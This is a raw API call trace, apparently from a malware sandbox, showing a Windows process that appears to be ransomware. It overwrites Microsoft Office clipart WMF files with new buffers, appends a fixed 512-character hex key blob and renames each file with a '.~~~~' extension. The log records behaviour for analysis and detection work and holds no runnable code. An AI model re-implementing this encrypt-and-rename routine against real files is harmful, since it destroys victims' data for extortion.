	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841530
	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841530 | out: hHeap=0x300000) returned 1
	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280dd98
	[0098.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.095] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.096] GetLastError () returned 0x0
	[0098.096] GetLastError () returned 0x0
	[0098.096] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.096] GetLastError () returned 0x0
	[0098.096] GetLastError () returned 0x0
	[0098.115] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff8980, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.115] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x7680, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x7680, lpOverlapped=0x0) returned 1
	[0098.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.116] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.116] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.116] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.116] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.116] CloseHandle (hObject=0x11c) returned 1
	[0098.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.116] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.~~~~")) returned 1
	[0098.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.117] GetLastError () returned 0x0
	[0098.118] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.119] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.119] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21810930874) returned 1
	[0098.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa432f110, dwHighDateTime=0x1d60e1e)) 
	[0098.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28415a0
	[0098.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28415a0 | out: hHeap=0x300000) returned 1
	[0098.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x386088
	[0098.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.120] GetLastError () returned 0x0
	[0098.120] GetLastError () returned 0x0
	[0098.120] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.120] GetLastError () returned 0x0
	[0098.121] GetLastError () returned 0x0
	[0098.127] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff174, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.127] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xe8c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xe8c, lpOverlapped=0x0) returned 1
	[0098.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.128] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.128] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.128] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.128] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.128] CloseHandle (hObject=0x11c) returned 1
	[0098.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.129] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.~~~~")) returned 1
	[0098.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.130] GetLastError () returned 0x0
	[0098.130] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.131] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.131] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.131] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21812115531) returned 1
	[0098.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa432f110, dwHighDateTime=0x1d60e1e)) 
	[0098.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841610
	[0098.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841610 | out: hHeap=0x300000) returned 1
	[0098.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e2b0
	[0098.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.132] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.132] GetLastError () returned 0x0
	[0098.132] GetLastError () returned 0x0
	[0098.132] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.132] GetLastError () returned 0x0
	[0098.132] GetLastError () returned 0x0
	[0098.138] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffda74, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.138] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x258c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x258c, lpOverlapped=0x0) returned 1
	[0098.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.139] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.139] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.139] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.139] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.139] CloseHandle (hObject=0x11c) returned 1
	[0098.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.139] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.~~~~")) returned 1
	[0098.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.161] GetLastError () returned 0x0
	[0098.161] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.162] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.162] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.163] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21815283474) returned 1
	[0098.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa437b3d0, dwHighDateTime=0x1d60e1e)) 
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841648
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841648 | out: hHeap=0x300000) returned 1
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e3e0
	[0098.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.163] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.164] GetLastError () returned 0x0
	[0098.164] GetLastError () returned 0x0
	[0098.164] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.164] GetLastError () returned 0x0
	[0098.164] GetLastError () returned 0x0
	[0098.219] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe878, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.219] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x1788, lpOverlapped=0x0) returned 1
	[0098.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.219] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.219] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.220] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.220] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.220] CloseHandle (hObject=0x11c) returned 1
	[0098.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.220] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.~~~~")) returned 1
	[0098.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.221] GetLastError () returned 0x0
	[0098.221] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.222] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.222] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.222] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21821229161) returned 1
	[0098.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4413950, dwHighDateTime=0x1d60e1e)) 
	[0098.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841728
	[0098.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841728 | out: hHeap=0x300000) returned 1
	[0098.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdc10
	[0098.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdc10 | out: hHeap=0x300000) returned 1
	[0098.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285e478
	[0098.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.223] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.223] GetLastError () returned 0x0
	[0098.223] GetLastError () returned 0x0
	[0098.223] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.223] GetLastError () returned 0x0
	[0098.223] GetLastError () returned 0x0
	[0098.245] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffbfac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.245] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4054, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x4054, lpOverlapped=0x0) returned 1
	[0098.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.246] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.246] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.246] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.246] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.246] CloseHandle (hObject=0x11c) returned 1
	[0098.247] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.247] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.~~~~")) returned 1
	[0098.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.250] GetLastError () returned 0x0
	[0098.251] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.252] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.252] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.253] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.253] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.253] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21824487062) returned 1
